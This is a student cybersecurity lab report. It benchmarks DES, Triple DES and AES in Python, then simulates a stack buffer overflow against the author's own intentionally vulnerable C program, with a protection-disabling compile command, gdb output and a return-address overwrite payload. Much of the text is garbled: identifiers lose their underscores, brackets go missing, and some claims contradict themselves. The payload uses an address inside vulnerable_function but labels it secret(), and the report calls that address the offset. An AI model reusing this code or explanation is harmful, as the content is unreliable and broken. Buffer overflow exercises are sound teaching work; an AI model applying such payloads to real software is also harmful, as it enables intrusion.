Software and Cybersecurity Lab

CS445 Lab2

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Task1: Write a program (in C/C++/Java/Python) to compare the execution time of the following ciphers.

DES Triple DES AES-128 AES-256

Programming Language: Python version: 3.10.12

Setup:

• Platform: Google Colab

• Libraries/Packages: pycryptodome

• Input size: 1000 characters (8000 bits)

• Input Strings: 10

• **Output:** As per cipher function ranging from 64 to 256.

Code Overview and Explanation:

Random String Generation: Ten random strings made up of letters and numbers, each 1000 characters long, are produced by the code. This makes sure that the inputs for the encryption are varied.

Time Measurement Function: The encryption process's timing is managed by the time_cipher function. It encrypts each string after receiving a list of strings and a cipher as input, then determines how long the encryption takes on average. Each string is padded to make sure it satisfies the cipher's block size specifications.

Cipher Initialization: The appropriate key sizes are used to initialize the DES, Triple DES, AES-128, and AES256 ciphers.

Calculation of Execution Time: After that, the average time for each cipher is determined by measuring the amount of time needed to encrypt the ten strings using each cipher.

Result Table:

Priority	Cipher	Language	Input Size(bits)	Output Size(bits)	Average Time(s)
1	AES-128	Python	8000	128	5.7315e-06
2	AES-256	Python	8000	256	6.1917e-06
3	DES	Python	8000	64	3.1974e-05
4	Triple DES	Python	8000	192	6.9580e-05

Executed Code:

```
pip install pycryptodome prettytable
import time
import random
import string
import hashlib
from Crypto.Cipher import DES, DES3, AES
from Crypto.Random import get random bytes
from Crypto.Util.Padding import pad
from prettytable import PrettyTable
# Generating a list of 10 random strings
input_strings = [''.join(random.choices(string.ascii_letters + string.digits,
k=1000)) for _ in range(10)]
def time_cipher(cipher, data_list, iterations=10):
    total time = 0.0
    for data in data_list:
        data = pad(data.encode(), cipher.block_size)
        for _ in range(iterations):
            start_time = time.time()
            cipher.encrypt(data)
            total_time += time.time() - start_time
    return total_time / (iterations * len(data_list))
# DES encryption
key des = get random bytes(8)
cipher_des = DES.new(key_des, DES.MODE_ECB)
time_des = time_cipher(cipher_des, input_strings)
```

```
# Triple DES encryption
key 3des = DES3.adjust key parity(get random bytes(24))
                                                          bytes
cipher_3des = DES3.new(key_3des, DES3.MODE_ECB)
time 3des = time cipher(cipher 3des, input strings)
# AES-128 encryption
key aes128 = get random bytes(16)
cipher_aes128 = AES.new(key_aes128, AES.MODE ECB)
time_aes128 = time_cipher(cipher_aes128, input_strings)
# AES-256 encryption
key aes256 = get random bytes(32
cipher_aes256 = AES.new(key_aes256, AES.MODE_ECB)
time aes256 = time cipher(cipher aes256, input strings)
#Results table
table = PrettyTable()
table.field_names = ["S.No", "Cipher", "Language", "Input Size (bits)", "Output
Size (bits)", "Avg Time (s)", "Priority"
results = [
    {"name": "DES", "time": time_des, "key_size": 64},
    {"name": "Triple DES", "time": time_3des, "key_size": 192},
    {"name": "AES-128", "time": time_aes128, "key_size": 128},
    {"name": "AES-256", "time": time aes256, "key size": 256}
# Sorting by average time and assigning priorities
results.sort(key=lambda x: x["time"])
for i, result in enumerate(results):
    table.add_row([i+1, result["name"], "Python", 8000, result["key_size"],
result["time"], i+1])
print(table)
```

OUTPUT:

+	+	+	+	+	+	++
S.No	Cipher	Language	Input Size (bits)	Output Size (bits)	Avg Time (s)	Priority
+	+	+	+	+	+	++
1	AES-128	Python	8000	128	5.731582641601562e-06	1
2	AES-256	Python	8000	256	6.191730499267578e-06	2
3	DES	Python	8000	64	3.197431564331055e-05	3
4	Triple DES	Python	8000	192	6.9580078125e-05	i 4 i
+	+	, , +	, 	, 	+	++
·						

Comparison Analysis:

While both AES-128 and AES-256 demonstrate excellent performance, AES-128 is somewhat faster than AES-256. These are both contemporary, safe encryption techniques; for situations where speed is crucial, AES-128 is the best option.

Both DES and Triple DES are less effective and slower than DES, with Triple DES being especially slow. They are not advised for use with contemporary applications because to their decreased security and performance.

In terms of performance and security, AES-128 is the most effective and well-balanced choice, whilst AES-256 provides increased security with little degradation in speed.

Task2: Simulation of a Buffer Overflow Attack

Objective: The objective of this lab is to understand and simulate a buffer overflow attack and learn how to exploit vulnerabilities in a program by overflowing a buffer and executing arbitrary code.

Operating System: Linux

Step 1: Creating vulnerable Program

```
#include <stdio.h>
#include <string.h>

void secret() {
    printf("You have successfully executed the secret function!\n");
}

void vulnerable_function(char *input) {
    char buffer[64]; // Buffer size = 64 bytes
    strcpy(buffer, input);
    printf("Buffer content: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable_function(argv[1]);
    return 0;
}
```

The vulnerable program (vulnerable.c) contains a basic vulnerability in the function vulnerable_function().

The vulnerable_function() uses strcpy() to copy the user-supplied input into a 64-byte buffer without verifying the input's size.

A buffer overflow happens when the input exceeds the 64-byte buffer size. This could allow us to overwrite the function's return address and divert execution to the secret() function.

Step 2: Disabling security mechanisms

Disabling security mechanisms to make exploitation possible:

gcc -o vulnerable vulnerable.c -fno-stack-protector -z execstack

fno-stack-protector: Prevents common buffer overflows by disabling stack protection. If you intend to run code from the stack, you should mark it as executable using the -z execstack option (albeit for this task, we wish to divert execution to an existing function).

Step 3: Running Program and Identification of Overflow:

Running the program:

./vulnerable <input>

Initially, we will provide a basic input, test_input, that won't result in a buffer overflow.Next, we will provide input for buffer overflow, for example, a Python script that prints A 100 times.

It can be seen from the output that a **segmentation fault** has occurred.

Step 4: Collecting Register Information of Crash:

```
dipean@dipean:-/CS445LAB$ gdb ./vulnerable
GNU gdb (Ubuntu 12.1-0ubuntu1-22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<a href="https://www.gnu.org/software/gdb/bugs/>.">https://www.gnu.org/software/gdb/bugs/>.</a>
Find the GDB manual and other documentation resources online at:
--Type <a href="https://www.gnu.org/software/gdb/documentation/">https://www.gnu.org/software/gdb/documentation/</a>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./vulnerable.)
(gdb) break vulnerable function
Breakpoint 1 at 0x1lab

(gdb) run $(python3 - c * 72) ')
Starting program: /home/dipean/CS445LAB/vulnerable $(python3 - c * 72) ')
/bin/bash: -c: line 1: unexpected EOF while looking for matching '''
/bin/bash: -c: line 2: syntax error: unexpected end of file
During startup program exited with code 2.
(gdb) Quit
(gdb) run $(python3 - c 'print("A" * 72)')
Starting program: /home/dipean/CS445LAB/vulnerable $(python3 - c 'print("A" * 72)')
Starting program: /home/dipean/CS445LAB/vulnerable $(python3 - c 'print("A" * 72)')
IThread debugging using libthread_db enabled]
```

```
Starting program: /home/dipean/CS445LAB/vulnerable $(python3 -c 'print("A" * 72)')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x00005555555551ab in vulnerable function ()
(gdb) info registers
               0x7fffffffe321
                                    140737488347937
rax
rbx
               0x0
               0x55555557db0
                                    93824992247216
               0x7ffffffffdfc0
                                    140737488347072
rdx
               0x7fffffffdfa8
                                    140737488347048
               0x7fffffffe321
                                    140737488347937
                                    0x7fffffffde70
rbp
               0x7fffffffde70
                                    0x7fffffffde70
               0x7fffffffde70
rsp
               0x7ffff7f9df10
                                    140737353735952
               0x7ffff7fc9040
                                    140737353912384
               0x7fffff7fc3908
0x7fffff7fde680
r10
                                    140737353890056
                                    140737354000000
r12
               0x7fffffffdfa8
                                    140737488347048
r13
               0x555555551e4
                                    93824992236004
r14
               0x555555557db0
                                    93824992247216
               0x7ffff7ffd040
                                    140737354125376
               0x555555551ab
                                    0x555555551ab <vulnerable function+8>
rip
eflags
               0x212
                                    [ AF IF ]
               0x33
               0x2b
ds
               0x0
               0x0
                                    0
               0x0
gs
               0 \times 0
(gdb) print $rip
$1 = (void (*)()) 0x555555551ab <vulnerable_function+8>
```

Here the breakpoint is found and offset is collected.

Offset: 0x55555551ab

Step 4: Generating Payload in Bytes:

- The 'A' characters are formed as a byte string by the b"A" * offset.
- ctypes.c_uint64(secret_function_address). The function address can be converted to bytes in little-endian format using value.to_bytes(8, 'little').
- Use sys.stdout.buffer.write(payload) to write bytes directly to the standard output.

```
import sys
import ctypes
# Replace with the actual offset you found
offset = 72
secret_function_address = 0x5555555551ab # Address of secret()
function
# Create payload with the correct offset
payload = b"A" * offset
# Convert the address to bytes in little-endian format
payload +=
ctypes.c_uint64(secret_function_address).value.to_bytes(8, 'little')
# Write payload to stdout
sys.stdout.buffer.write(payload)
```

OUTPUT

Here,

The buffer is initially filled, and then garbage data (in this case, "A" characters) is padded up to the offset to create the payload. The secret() function's address is then appended to the payload. After an overflow, the program's execution should jump to this location. In order to conform to the endianness of the architecture, the address is given in little-endian format.

The susceptible function will copy the payload into the buffer, overwrite the return address, and execute the secret() method after returning when the application runs with the created payload as input. This will output the success message.

This is how the payload redirects the execution flow to the secret() function by exploiting the buffer overflow vulnerability.

The following countermeasures can be taken to stop buffer overflow attacks:

- Use of Safe Functions: To prevent overflows, use safer functions like strncpy instead of unsafe ones like strcpy. These functions limit the amount of bytes copied.
- Input Validation: Before copying data into buffers, make sure the length of the input data does not exceed buffer capacity.
- Dynamic Memory Allocation: To prevent overflows, dynamically allocate memory based on the size of the input rather than use fixed-size buffers.
- Randomizing the memory address space layout using Address Space Layout Randomization (ASLR) to make it more difficult for attackers to forecast where code and buffers will be located.
- Compiler Warnings and Tools: Enable compiler warnings for unsafe functions and use static analysis tools to detect potential buffer overflows during development.

End of Assignment
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